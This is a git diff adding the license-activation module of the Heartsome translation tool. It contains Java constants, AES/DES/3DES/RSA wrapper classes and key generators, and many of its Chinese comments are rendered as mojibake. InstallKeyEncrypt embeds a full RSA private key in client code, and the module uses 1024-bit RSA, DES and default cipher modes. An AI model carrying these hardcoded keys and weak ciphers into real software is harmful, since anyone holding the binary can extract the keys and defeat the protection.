ä¿¡æ¯çš„分隔符,和wsæœåŠ¡å™¨çš„分隔符ä¿æŒä¸€è‡´ï¼Œä¸¤å¤„需è¦åŒæ—¶ä¿®æ”¹ã€‚net.heartsome.r8.webservice.utils.Constants + public final static String SEPARATOR = "#&"; + + public final static String RETURN_INVALIDLICENSE = "It is a invalid License"; + public final static int RETURN_INVALIDLICENSE_INT = 1; + public final static String RETURN_INVALIDBUNDLE = "It is a invalid Bundle License"; + public final static int RETURN_INVALIDBUNDLE_INT = 2; + public final static String RETURN_DBEXCEPTION = "Update database exception"; + public final static String RETURN_STOPLICENSE = "It is a stop License"; + public final static int RETURN_STOPLICENSE_INT = 3; + public final static int ACTIVE_OK_INT = 4; + public final static String RETURN_MUTILTEMPBUNDLE = "Mutil Active Trial License"; + public final static int RETURN_MUTILTEMPBUNDLE_INT = 5; + + public final static String RETURN_EXPIREDLICENSE = "Your license has expired"; + public final static int RETURN_EXPIREDLICENSE_INT = 6; + public final static String RETURN_MACCODEERR = "MacCode is invalid"; + public final static String RETURN_CHECKSUCESS = "Check is Sucess"; + + public final static int EXCEPTION_INT1 = 21; + public final static String EXCEPTION_STRING1 = "LIC001"; + public final static int EXCEPTION_INT2 = 22; + public final static String EXCEPTION_STRING2 = "LIC002"; + public final static int EXCEPTION_INT3 = 23; + public final static String EXCEPTION_STRING3 = "LIC003"; + public final static int EXCEPTION_INT4 = 24; + public final static String EXCEPTION_STRING4 = "LIC004"; + public final static int EXCEPTION_INT5 = 25; + public final static String EXCEPTION_STRING5 = "LIC005"; + public final static int EXCEPTION_INT6 = 26; + public final static String EXCEPTION_STRING6 = "LIC006"; + public final static int EXCEPTION_INT7 = 27; + public final static String EXCEPTION_STRING7 = "LIC007"; + public final static int EXCEPTION_INT8 = 28; + public final static String EXCEPTION_STRING8 = "LIC008"; + public final static int EXCEPTION_INT9 = 29; + public final static String EXCEPTION_STRING9 = "LIC009"; + public final static int EXCEPTION_INT10 = 30; + public final static String EXCEPTION_STRING10 = "LIC010"; + public final static int EXCEPTION_INT11 = 31; + public final static String EXCEPTION_STRING11 = "LIC011"; + public final static int EXCEPTION_INT12 = 32; + public final static String EXCEPTION_STRING12 = "LIC012"; + public final static int EXCEPTION_INT13 = 33; + public final static String EXCEPTION_STRING13 = "LIC013"; + public final static int EXCEPTION_INT14 = 34; + public final static String EXCEPTION_STRING14 = "LIC014"; + public final static int EXCEPTION_INT15 = 35; + public final static String EXCEPTION_STRING15 = "LIC015"; + public final static int EXCEPTION_INT16 = 36; + public final static String EXCEPTION_STRING16 = "LIC016"; + public final static int EXCEPTION_INT17 = 37; + public final static String EXCEPTION_STRING17 = "LIC017"; + + public final static int CANCEL = -1; + public final static int STATE_FILE_NOT_EXSIT = 0; + public final static int STATE_NOT_ACTIVATED = 1; + public final static int STATE_VALID = 2; + public final static int STATE_INVALID = 3; + public final static int STATE_EXPIRED = 4; + + public final static String RETURN_LOGOUTSUCESS = "Logout is sucess"; + public final static int LOGOUT_SUCCESS = 1; + public final static int LOGOUT_FAIL = 2; + + public final static String PRODUCTID = System.getProperty("TSVersion"); + + public final static String TYPE_TMEP = "0"; + public final static String TYPE_BUSINESS = "1"; + + public final static String CONNECT_URL = "http://127.0.0.1:8080/r8/licenses"; + + public final static String RETURN_NULLTEMPENDDATE = "TempEndDate is null"; + + +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/Encrypt.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/Encrypt.java new file mode 100644 index 0000000..d9322f6 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/Encrypt.java @@ -0,0 +1,11 @@ +package net.heartsome.license.encrypt; + +public interface Encrypt { + byte[] getPublicKey(); + + byte[] getPrivateKey(); + + byte[] encrypt(byte[] publicKeyArray, byte[] srcBytes); + + byte[] decrypt(byte[] privateKeyArray, byte[] srcBytes); +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptAES.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptAES.java new file mode 100644 index 0000000..0f4a381 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptAES.java @@ -0,0 +1,88 @@ +package net.heartsome.license.encrypt; + +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; + +import javax.crypto.BadPaddingException; +import javax.crypto.Cipher; +import javax.crypto.IllegalBlockSizeException; +import javax.crypto.KeyGenerator; +import javax.crypto.NoSuchPaddingException; +import javax.crypto.SecretKey; + +public class EncryptAES { + + //KeyGenerator Ìṩ¶Ô³ÆÃÜÔ¿Éú³ÉÆ÷µÄ¹¦ÄÜ£¬Ö§³Ö¸÷ÖÖËã·¨ + private KeyGenerator keygen; + //SecretKey ¸ºÔð±£´æ¶Ô³ÆÃÜÔ¿ + private SecretKey deskey; + //Cipher¸ºÔðÍê³É¼ÓÃÜ»ò½âÃܹ¤×÷ + private Cipher c; + //¸Ã×Ö½ÚÊý×鸺Ôð±£´æ¼ÓÃܵĽá¹û + private byte[] cipherByte; + + public EncryptAES() throws NoSuchAlgorithmException, NoSuchPaddingException{ + //ʵÀý»¯Ö§³ÖDESËã·¨µÄÃÜÔ¿Éú³ÉÆ÷(Ëã·¨Ãû³ÆÃüÃûÐè°´¹æ¶¨£¬·ñÔòÅ׳öÒì³£) + keygen = KeyGenerator.getInstance("AES"); + //Éú³ÉÃÜÔ¿ + deskey = keygen.generateKey(); + //Éú³ÉCipher¶ÔÏó,Ö¸¶¨ÆäÖ§³ÖµÄDESËã·¨ + c = Cipher.getInstance("AES"); + } + + /** + * ¶Ô×Ö·û´®¼ÓÃÜ + * + * @param str + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Encrytor(String str) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬ENCRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.ENCRYPT_MODE, deskey); + byte[] src = str.getBytes(); + // ¼ÓÃÜ£¬½á¹û±£´æ½øcipherByte + cipherByte = c.doFinal(src); + return cipherByte; + } + + /** + * ¶Ô×Ö·û´®½âÃÜ + * + * @param buff + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Decryptor(byte[] buff) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬DECRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.DECRYPT_MODE, deskey); + cipherByte = c.doFinal(buff); + return cipherByte; + } + + /** + * @param args + * @throws NoSuchPaddingException + * @throws NoSuchAlgorithmException + * @throws BadPaddingException + * @throws IllegalBlockSizeException + * @throws InvalidKeyException + */ + public static void main(String[] args) throws Exception { + EncryptAES de1 = new EncryptAES(); + String msg ="¹ùXX-¸ãЦÏàÉùÈ«¼¯"; + byte[] encontent = de1.Encrytor(msg); + byte[] decontent = de1.Decryptor(encontent); + System.out.println("Ã÷ÎÄÊÇ:" + msg); + System.out.println("¼ÓÃܺó:" + new String(encontent)); + System.out.println("½âÃܺó:" + new String(decontent)); + } + +} + diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptDES.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptDES.java new file mode 100644 index 0000000..7835b98 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptDES.java @@ -0,0 +1,87 @@ +package net.heartsome.license.encrypt; + +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; + +import javax.crypto.BadPaddingException; +import javax.crypto.Cipher; +import javax.crypto.IllegalBlockSizeException; +import javax.crypto.KeyGenerator; +import javax.crypto.NoSuchPaddingException; +import javax.crypto.SecretKey; + +public class EncryptDES { + + //KeyGenerator Ìṩ¶Ô³ÆÃÜÔ¿Éú³ÉÆ÷µÄ¹¦ÄÜ£¬Ö§³Ö¸÷ÖÖËã·¨ + private KeyGenerator keygen; + //SecretKey ¸ºÔð±£´æ¶Ô³ÆÃÜÔ¿ + private SecretKey deskey; + //Cipher¸ºÔðÍê³É¼ÓÃÜ»ò½âÃܹ¤×÷ + private Cipher c; + //¸Ã×Ö½ÚÊý×鸺Ôð±£´æ¼ÓÃܵĽá¹û + private byte[] cipherByte; + + public EncryptDES() throws NoSuchAlgorithmException, NoSuchPaddingException{ + //ʵÀý»¯Ö§³ÖDESËã·¨µÄÃÜÔ¿Éú³ÉÆ÷(Ëã·¨Ãû³ÆÃüÃûÐè°´¹æ¶¨£¬·ñÔòÅ׳öÒì³£) + keygen = KeyGenerator.getInstance("DES", new org.bouncycastle.jce.provider.BouncyCastleProvider()); + //Éú³ÉÃÜÔ¿ + deskey = keygen.generateKey(); + //Éú³ÉCipher¶ÔÏó,Ö¸¶¨ÆäÖ§³ÖµÄDESËã·¨ + c = Cipher.getInstance("DES"); + } + + /** + * ¶Ô×Ö·û´®¼ÓÃÜ + * + * @param str + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Encrytor(byte[] src) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬ENCRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.ENCRYPT_MODE, deskey); + // ¼ÓÃÜ£¬½á¹û±£´æ½øcipherByte + cipherByte = c.doFinal(src); + return cipherByte; + } + + /** + * ¶Ô×Ö·û´®½âÃÜ + * + * @param buff + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Decryptor(byte[] buff) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬DECRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.DECRYPT_MODE, deskey); + cipherByte = c.doFinal(buff); + return cipherByte; + } + + /** + * @param args + * @throws NoSuchPaddingException + * @throws NoSuchAlgorithmException + * @throws BadPaddingException + * @throws IllegalBlockSizeException + * @throws InvalidKeyException + */ + public static void main(String[] args) throws Exception { + EncryptDES de1 = new EncryptDES(); + String msg ="¹ùXX-¸ãЦÏàÉùÈ«¼¯"; + byte[] encontent = de1.Encrytor(msg.getBytes()); + byte[] decontent = de1.Decryptor(encontent); + System.out.println("Ã÷ÎÄÊÇ:" + msg); + System.out.println("¼ÓÃܺó:" + new String(encontent)); + System.out.println("½âÃܺó:" + new String(decontent)); + } + +} + diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptDES3.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptDES3.java new file mode 100644 index 0000000..b9ab9d5 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptDES3.java @@ -0,0 +1,89 @@ +package net.heartsome.license.encrypt; + +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; + +import javax.crypto.BadPaddingException; +import javax.crypto.Cipher; +import javax.crypto.IllegalBlockSizeException; +import javax.crypto.KeyGenerator; +import javax.crypto.NoSuchPaddingException; +import javax.crypto.SecretKey; + +public class EncryptDES3 { + + // KeyGenerator Ìṩ¶Ô³ÆÃÜÔ¿Éú³ÉÆ÷µÄ¹¦ÄÜ£¬Ö§³Ö¸÷ÖÖËã·¨ + private KeyGenerator keygen; + // SecretKey ¸ºÔð±£´æ¶Ô³ÆÃÜÔ¿ + private SecretKey deskey; + // Cipher¸ºÔðÍê³É¼ÓÃÜ»ò½âÃܹ¤×÷ + private Cipher c; + // ¸Ã×Ö½ÚÊý×鸺Ôð±£´æ¼ÓÃܵĽá¹û + private byte[] cipherByte; + + public EncryptDES3() throws NoSuchAlgorithmException, NoSuchPaddingException { + // ʵÀý»¯Ö§³ÖDESËã·¨µÄÃÜÔ¿Éú³ÉÆ÷(Ëã·¨Ãû³ÆÃüÃûÐè°´¹æ¶¨£¬·ñÔòÅ׳öÒì³£) + keygen = KeyGenerator.getInstance("DESede", new org.bouncycastle.jce.provider.BouncyCastleProvider()); + // Éú³ÉÃÜÔ¿ + deskey = keygen.generateKey(); + // Éú³ÉCipher¶ÔÏó,Ö¸¶¨ÆäÖ§³ÖµÄDESËã·¨ + c = Cipher.getInstance("DESede"); + } + + /** + * ¶Ô×Ö·û´®¼ÓÃÜ + * + * @param str + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Encrytor(String str) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬ENCRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.ENCRYPT_MODE, deskey); + byte[] src = str.getBytes(); + // ¼ÓÃÜ£¬½á¹û±£´æ½øcipherByte + cipherByte = c.doFinal(src); + return cipherByte; + } + + /** + * ¶Ô×Ö·û´®½âÃÜ + * + * @param buff + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Decryptor(byte[] buff) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬DECRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.DECRYPT_MODE, deskey); + cipherByte = c.doFinal(buff); + return cipherByte; + } + + /** + * @param args + * @throws NoSuchPaddingException + * @throws NoSuchAlgorithmException + * @throws BadPaddingException + * @throws IllegalBlockSizeException + * @throws InvalidKeyException + */ + public static void main(String[] args) throws Exception { + EncryptDES3 des = new EncryptDES3(); + String msg ="¹ùXX-¸ãЦÏàÉùÈ«¼¯"; + byte[] encontent = des.Encrytor(msg); + byte[] decontent = des.Decryptor(encontent); + System.out.println("Ã÷ÎÄÊÇ:" + msg); + System.out.println("¼ÓÃܺó:" + new String(encontent)); + System.out.println("½âÃܺó:" + new String(decontent)); + + } + +} + diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptRSA.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptRSA.java new file mode 100644 index 0000000..7bf4181 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/EncryptRSA.java @@ -0,0 +1,126 @@ +package net.heartsome.license.encrypt; + +import java.io.ByteArrayOutputStream; +import java.security.Key; +import java.security.KeyFactory; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.NoSuchAlgorithmException; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.SecureRandom; +import java.security.spec.PKCS8EncodedKeySpec; +import java.security.spec.X509EncodedKeySpec; +import javax.crypto.Cipher; + +public class EncryptRSA implements Encrypt { + + // éžå¯¹ç§°åŠ å¯†å¯†é’¥ç®—法 + private static final String algorithm = "RSA"; + // 密钥长度,用æ¥åˆå§‹åŒ– + private static final int key_size = 1024; + // 公钥 + private final byte[] publicKey; + // ç§é’¥ + private final byte[] privateKey; + + public EncryptRSA() { + SecureRandom sr = new SecureRandom(); + + KeyPairGenerator kpg = null; + try { + kpg = KeyPairGenerator.getInstance(algorithm); + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + } + kpg.initialize(key_size, sr); + + KeyPair kp = kpg.generateKeyPair(); + Key keyPublic = kp.getPublic(); + publicKey = keyPublic.getEncoded(); + + Key keyPrivate = kp.getPrivate(); + privateKey = keyPrivate.getEncoded(); + } + + /** + * 加密 + * + * @param publicKeyArray + * @param srcBytes + * @return + */ + public byte[] encrypt(byte[] publicKeyArray, byte[] srcBytes) { + try { + X509EncodedKeySpec keySpec = new X509EncodedKeySpec(publicKeyArray); + KeyFactory kf = KeyFactory.getInstance(algorithm); + PublicKey keyPublic = kf.generatePublic(keySpec); + + Cipher cipher; + cipher = Cipher.getInstance(algorithm, + new org.bouncycastle.jce.provider.BouncyCastleProvider()); + + cipher.init(Cipher.ENCRYPT_MODE, keyPublic); + int blockSize = cipher.getBlockSize(); + int outputSize = cipher.getOutputSize(srcBytes.length); + int leavedSize = srcBytes.length % blockSize; + int blocksSize = leavedSize != 0 ? srcBytes.length / blockSize + 1 + : srcBytes.length / blockSize; + byte[] raw = new byte[outputSize * blocksSize]; + int i = 0; + while (srcBytes.length - i * blockSize > 0) { + if (srcBytes.length - i * blockSize > blockSize) + cipher.doFinal(srcBytes, i * blockSize, blockSize, raw, i + * outputSize); + else + cipher.doFinal(srcBytes, i * blockSize, srcBytes.length - i + * blockSize, raw, i * outputSize); + i++; + } + return raw; + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + /** + * 解密 + * + * @param privateKeyArray + * @param srcBytes + * @return + */ + public byte[] decrypt(byte[] privateKeyArray, byte[] srcBytes) { + try { + PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(privateKeyArray); + KeyFactory kf = KeyFactory.getInstance(algorithm); + PrivateKey keyPrivate = kf.generatePrivate(keySpec); + + Cipher cipher = Cipher.getInstance(algorithm, + new org.bouncycastle.jce.provider.BouncyCastleProvider()); + cipher.init(Cipher.DECRYPT_MODE, keyPrivate); + + int blockSize = cipher.getBlockSize(); + ByteArrayOutputStream bout = new ByteArrayOutputStream(blockSize); + int j = 0; + while (srcBytes.length - j * blockSize > 0) { + byte[] temp = cipher.doFinal(srcBytes, j * blockSize, blockSize); + bout.write(temp); + j++; + } + return bout.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + public byte[] getPublicKey() { + return publicKey; + } + + public byte[] getPrivateKey() { + return privateKey; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/InstallKeyEncrypt.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/InstallKeyEncrypt.java new file mode 100644 index 0000000..8227bc7 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/InstallKeyEncrypt.java @@ -0,0 +1,48 @@ +package net.heartsome.license.encrypt; + +import net.heartsome.license.ProtectionFactory; + +public class InstallKeyEncrypt { + private final static byte[] publicKey = new byte[] {48,-127,-97,48,13,6,9,42,-122,72,-122,-9,13,1,1,1,5,0,3, + -127,-115,0,48,-127,-119,2,-127,-127,0,-126,84,87,97,-103,60,114,-92,-21,23,111,34,-45,61,8, + -39,-18,-95,96,-99,-4,-15,-51,52,-82,91,-108,-102,87,-37,-8,34,23,-16,98,-100,38,-7,82,-13, + 67,47,96,-102,-128,-48,21,-106,-94,23,119,-77,-46,72,-89,-44,64,-11,81,127,26,-38,-59,26,102, + -58,-89,104,-117,88,87,-93,-9,110,-21,-102,-24,-72,-23,-41,45,7,-35,-72,-105,-98,-27,-114,-74, + -49,-35,-93,-85,66,111,-72,-4,58,-116,-93,-102,27,-49,-25,32,75,4,-2,-95,112,-60,-103,32,43,31, + 60,18,-89,24,-85,-63,-95,73,-115,13,22,-102,-25,2,3,1,0,1}; + + private final static byte[] privateKey = new byte[] {48,-126,2,118,2,1,0,48,13,6,9,42,-122,72,-122,-9,13,1,1, + 1,5,0,4,-126,2,96,48,-126,2,92,2,1,0,2,-127,-127,0,-126,84,87,97,-103,60,114,-92,-21,23,111, + 34,-45,61,8,-39,-18,-95,96,-99,-4,-15,-51,52,-82,91,-108,-102,87,-37,-8,34,23,-16,98,-100,38, + -7,82,-13,67,47,96,-102,-128,-48,21,-106,-94,23,119,-77,-46,72,-89,-44,64,-11,81,127,26,-38, + -59,26,102,-58,-89,104,-117,88,87,-93,-9,110,-21,-102,-24,-72,-23,-41,45,7,-35,-72,-105,-98, + -27,-114,-74,-49,-35,-93,-85,66,111,-72,-4,58,-116,-93,-102,27,-49,-25,32,75,4,-2,-95,112, + -60,-103,32,43,31,60,18,-89,24,-85,-63,-95,73,-115,13,22,-102,-25,2,3,1,0,1,2,-127,-128,78, + 45,-21,-48,-25,12,4,-75,123,52,-82,125,20,124,11,96,55,-82,100,119,-63,49,7,104,-81,-94,-50, + 12,-101,-31,-97,2,76,-101,-19,123,64,65,-43,-119,-119,102,-43,43,57,84,25,111,39,-62,-82,18, + -105,116,-17,-1,-6,11,110,-100,-79,110,68,71,66,-54,27,-119,-66,25,-60,-57,27,-36,44,48,95, + -49,-34,97,85,22,116,88,-109,-73,-55,-106,56,-6,-45,16,-85,72,-84,-120,126,-41,-26,10,58,61, + -83,-21,-86,51,44,-51,-65,-82,-51,-69,124,105,-86,11,-69,83,-82,-70,78,116,13,-13,-82,111, + -121,33,2,65,0,-13,-81,-101,117,47,-74,84,88,-98,49,-117,99,-75,-82,-122,-19,-86,-11,-118, + -19,103,-118,-94,-39,-9,87,18,-39,12,7,126,9,-16,-67,-104,77,-80,-91,112,-125,-88,-59,32, + 120,-96,-120,-18,-123,36,-25,-105,-99,12,96,91,90,0,0,-108,67,95,-18,-15,-79,2,65,0,-120, + -22,82,59,-32,75,-106,-88,120,99,-5,-10,87,104,89,-38,85,27,-45,-17,-77,4,81,78,55,30,-65, + 2,35,-63,-54,-33,65,-113,83,57,-82,105,-29,107,-98,114,1,103,106,12,120,26,-110,14,-72,-26, + 116,-4,-22,24,72,27,-94,-44,21,66,36,23,2,64,14,-47,65,-63,-87,106,11,-52,-21,-87,-107,-111, + 53,-115,-20,52,109,109,-54,-55,-50,-66,-10,82,12,-95,37,-53,62,-39,1,-57,-10,-12,-128,91,80, + -1,110,77,3,41,33,101,84,85,-97,51,71,96,49,-82,-31,-2,-59,-17,62,10,-54,-7,33,-49,52,-79,2, + 65,0,-120,88,80,-20,47,-63,22,-105,78,-52,-62,-19,-34,-67,-100,61,64,-28,37,122,94,-37,-67, + -36,22,40,24,47,25,76,-77,-85,0,-82,-86,66,-106,-35,-4,12,0,13,-88,56,67,-13,-122,-25,110, + -20,26,85,-27,-54,-73,-108,-42,-70,46,-68,-27,46,-88,-95,2,64,72,69,76,-106,-91,82,-34,-14, + -15,-115,119,-51,-7,-12,46,34,79,44,-89,32,123,46,-100,-5,-35,-72,96,-33,-2,93,31,-94,-3,15, + -56,-109,-8,112,-116,67,68,-125,63,73,-78,-93,65,-110,29,5,-23,-15,80,9,-52,-125,-67,-81,-40, + 76,70,104,51,-59}; + + public static byte[] encrypt(byte[] srcBytes) { + return ProtectionFactory.getEncrypt().encrypt(publicKey, srcBytes); + } + + public static byte[] decrypt(byte[] srcBytes) { + return ProtectionFactory.getEncrypt().decrypt(privateKey,srcBytes); + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/OffLineEncrypt.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/OffLineEncrypt.java new file mode 100644 index 0000000..e9b9b4d --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/encrypt/OffLineEncrypt.java @@ -0,0 +1,13 @@ +package net.heartsome.license.encrypt; + +public class OffLineEncrypt { + + public final static byte[] publicKey = new byte[] { 48, -127, -97, 48, 13, 6, 9, 42, -122, 72, -122, -9, 13, 1, 1, + 1, 5, 0, 3, -127, -115, 0, 48, -127, -119, 2, -127, -127, 0, -105, -102, 76, 88, 104, 64, 113, 23, 22, 40, + -104, -53, -73, -93, -71, -72, 89, -52, -51, 56, -106, 12, -111, -83, -104, -113, -119, 21, -100, -16, -94, + -3, -75, 82, -117, -62, 51, -12, -34, 9, 14, -118, 119, -50, -37, 11, -89, 11, -122, 82, 33, -26, 34, -84, + -63, -4, -23, 43, 39, 15, 16, 79, 86, 102, 30, -62, -120, -50, -98, -62, 58, -40, 87, -51, 82, 73, -26, + -51, 73, 11, -56, 1, -36, 110, -101, -36, -80, -52, 76, 95, -52, -17, -65, -49, -114, 43, 3, -78, 120, 84, + 88, -74, -111, -43, -93, 18, 31, 40, -93, 80, 94, -49, -32, -5, -85, -117, -112, 2, 66, 39, 38, 20, -46, + -122, 22, 2, 45, -105, 2, 3, 1, 0, 1 }; +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/generator/IKeyGenerator.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/generator/IKeyGenerator.java new file mode 100644 index 0000000..d37843e --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/generator/IKeyGenerator.java @@ -0,0 +1,11 @@ +package net.heartsome.license.generator; + +public interface IKeyGenerator { + byte[] generateKey(String licenseId, String series, byte[] b); + + byte[] generateKey(String licenseId, String series, String installKey, byte[] b); + + String getInstallKey(); + + String generateInstallKey(); +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/generator/KeyGeneratorImpl.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/generator/KeyGeneratorImpl.java new file mode 100644 index 0000000..71a840e --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/generator/KeyGeneratorImpl.java @@ -0,0 +1,29 @@ +package net.heartsome.license.generator; + +import net.heartsome.license.ProtectionFactory; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.utils.RandomUtils; + +public class KeyGeneratorImpl implements IKeyGenerator { + + private String installKey; + + public byte[] generateKey(String licenseId, String series, byte[] b) { + String key = licenseId + Constants.SEPARATOR + series + Constants.SEPARATOR + generateInstallKey(); + return ProtectionFactory.getEncrypt().encrypt(b, key.getBytes()); + } + + public String generateInstallKey() { + installKey = RandomUtils.generateRandom(20); + return installKey; + } + + public String getInstallKey() { + return installKey; + } + + public byte[] generateKey(String licenseId, String series, String installKey, byte[] b) { + String key = licenseId + Constants.SEPARATOR + series + Constants.SEPARATOR + installKey; + return ProtectionFactory.getEncrypt().encrypt(b, key.getBytes()); + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/generator/LicenseIdGenerator.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/generator/LicenseIdGenerator.java new file mode 100644 index 0000000..4c93bad --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/generator/LicenseIdGenerator.java @@ -0,0 +1,41 @@ +package net.heartsome.license.generator; + +import net.heartsome.license.utils.RandomUtils; + +public class LicenseIdGenerator { + private String licenseId; + + public LicenseIdGenerator(String licenseId) { + this.licenseId = licenseId; + } + + public LicenseIdGenerator(String productId, String version, String isTrial) { + this.licenseId = productId + version + isTrial + RandomUtils.generateRandom(20); + } + + public String getProductId() { + if (licenseId == null) { + return null; + } + + return licenseId.substring(0, 2); + } + + public String getVersion() { + if (licenseId == null) { + return null; + } + return licenseId.substring(2, 3); + } + + public String getIsTrial() { + if (licenseId == null) { + return null; + } + return licenseId.substring(3, 4); + } + + public boolean checkLength() { + return licenseId.length() == 24; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/handler/LicenseManageHandler.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/handler/LicenseManageHandler.java new file mode 100644 index 0000000..6374f2e --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/handler/LicenseManageHandler.java @@ -0,0 +1,43 @@ +package net.heartsome.license.handler; + +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.ts.help.TeSystemResourceUtil; +import net.heartsome.license.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Display; + +public class LicenseManageHandler extends AbstractHandler{ + + public Object execute(ExecutionEvent event) throws ExecutionException { + ProgressMonitorDialog progress = new ProgressMonitorDialog(Display.getDefault().getActiveShell()); + try { + final String[] str = new String[3]; + progress.run(true, true, new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) + throws InvocationTargetException { + monitor.beginTask(Messages.getString("license.LicenseManageHandler.progress"), 10); + String[] temp = TeSystemResourceUtil.load(monitor); + str[0] = temp[0]; + str[1] = temp[1]; + str[2] = temp[2]; + monitor.done(); + } + }); + TeSystemResourceUtil.showDialog(str); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + + } + + return null; + } + +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/Messages.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/Messages.java new file mode 100644 index 0000000..05b88b7 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.license.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.license.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/message.properties 